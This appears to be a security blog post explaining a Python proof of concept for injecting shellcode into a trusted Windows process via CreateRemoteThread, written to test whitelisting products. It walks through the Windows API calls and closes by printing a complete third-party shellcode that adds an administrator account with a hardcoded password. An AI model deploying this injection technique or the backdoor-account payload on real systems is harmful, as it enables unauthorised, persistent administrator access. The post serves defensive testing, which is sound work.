Code injection on Windows using Python: a simple example
Recently i had to perform some comparative tests on a couple of whitelisting solutions.
One of the crucial step of the test was the proper functioning of memory monitoring feature, useful in case of process injection: infact, when a trusted process has been started, an attacker may use it as vector for inject a malicious code.
In order to perform this check, i've decided to wrote a little PoC for 32bit systems dedicated to this test.
So, using Python and ctype library i've developed a simple script which, using CreateRemoteThread windows API, inject a simple shellcode into a trusted process.
The ctype library
ctypes is a foreign function library for Python, that provides C compatible data types, and allows calling functions in DLLs or shared libraries.
More information here
The infamous CreateRemoteThread function
I've already written a lot about CreateRemoteThread and the reflective DLL injection, you can refer to my previous article: What is Reflective DLL Injection and how can be detected?
In brief, reflective DLL loading refers to loading a DLL from memory rather than from disk: firstly, the library you wish to inject must be written into the address space of the target process.
Then the library must be loaded into that host process using the CreateRemoteThread function.
The PoC
For my script, i've started from this article from http://developers-club.com, that explains some python usage of Windows API.
And this is the result (code explanation below):
Lines 10 - 14: Those lines uses a simple wmi query in order to obtain the process id of the executable passed from command line.
Lines 18 - 46: This is the shellcode that will be injected into memory and executed
Line 49: makes a call to OpenProcess, that returns a handle into the process we are injecting shellcode into.
We’re specifically asking for all possible process rights (using the paramether 0x1F0FFF) , stating that we don’t need to inherit the handle, and specifying the process ID of the process to obtain a handle from.
Line 55: calls VirtualAllocEx, a function that allocates memory in a remote process.
It requires a handle to the process that will have memory allocated (obtained from the OpenProcess call), the size that should be allocated (shellcode length), the type of memory allocation that should be performed (0x00001000), and the memory protection that should be placed on the allocated memory range (read, write, execute, 0x40).
It returns the base address to the memory that was allocated by the function.
Line 56: calls WriteProcessMemory which writes the shellcode to the memory area within the target process.
The function receives the process handle that was obtained with OpenProcess, the base address where the function will write memory to, the shellcode, the length of the shellcode, and the value 0 which tells the function to ignore an optional output.
Line 58: Finally, this line calls CreateRemoteThread, which will create a thread within the another process.
This function call takes in a handle to the process which the shellcode is being injected into, None (states that the thread inherits a default security descriptor), 0 (defines the stack size to be the default size for that executable), the base address of the memory allocated earlier, and the final “0”s are miscellaneous parameters (more details on this MSDN page).
The script need to be called with only one parameter: the name of the process will be used for injection.
Some thoughts about the shellcode
In this case i've used a simple shellcode built using the Metasploit payload generator.
Using the "windows/messagebox" payload i've generated an harmless shellcode that opens a messagebox.
However, the same script may be used with more "offensive oriented" payloads, like this, developed by Giuseppe D'Amore:
Add Admin User Shellcode (194 bytes) - Any Windows Version ======================================================== Title: Add Admin User Shellcode (194 bytes) - Any Windows Version Release date: 21/06/2014 Author: Giuseppe D'Amore (http://it.linkedin.com/pub/giuseppe-d-amore/69/37/66b) Size: 194 byte (NULL free) Tested on: Win8,Win7,WinVista,WinXP,Win2kPro,Win2k8,Win2k8R2,Win2k3 Username: BroK3n Password: BroK3n char shellcode[] = "\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42" "\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03" "\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b" "\x34\xaf\x01\xc6\x45\x81\x3e\x57\x69\x6e\x45\x75\xf2\x8b\x7a" "\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf" "\xfc\x01\xc7\x68\x4b\x33\x6e\x01\x68\x20\x42\x72\x6f\x68\x2f" "\x41\x44\x44\x68\x6f\x72\x73\x20\x68\x74\x72\x61\x74\x68\x69" "\x6e\x69\x73\x68\x20\x41\x64\x6d\x68\x72\x6f\x75\x70\x68\x63" "\x61\x6c\x67\x68\x74\x20\x6c\x6f\x68\x26\x20\x6e\x65\x68\x44" "\x44\x20\x26\x68\x6e\x20\x2f\x41\x68\x72\x6f\x4b\x33\x68\x33" "\x6e\x20\x42\x68\x42\x72\x6f\x4b\x68\x73\x65\x72\x20\x68\x65" "\x74\x20\x75\x68\x2f\x63\x20\x6e\x68\x65\x78\x65\x20\x68\x63" "\x6d\x64\x2e\x89\xe5\xfe\x4d\x53\x31\xc0\x50\x55\xff\xd7"; int main(int argc, char **argv){int (*f)();f = (int (*)())shellcode;(int)(*f)();}
References and further readings
- Gray Hat Python — DLL and Code Injection
- What is Reflective DLL Injection and how can be detected?
- ctypes library
- CreateRemoteThread Function
- WriteProcessMemory Funtion
- VirtualAllocEx Function
- OpenProcess Function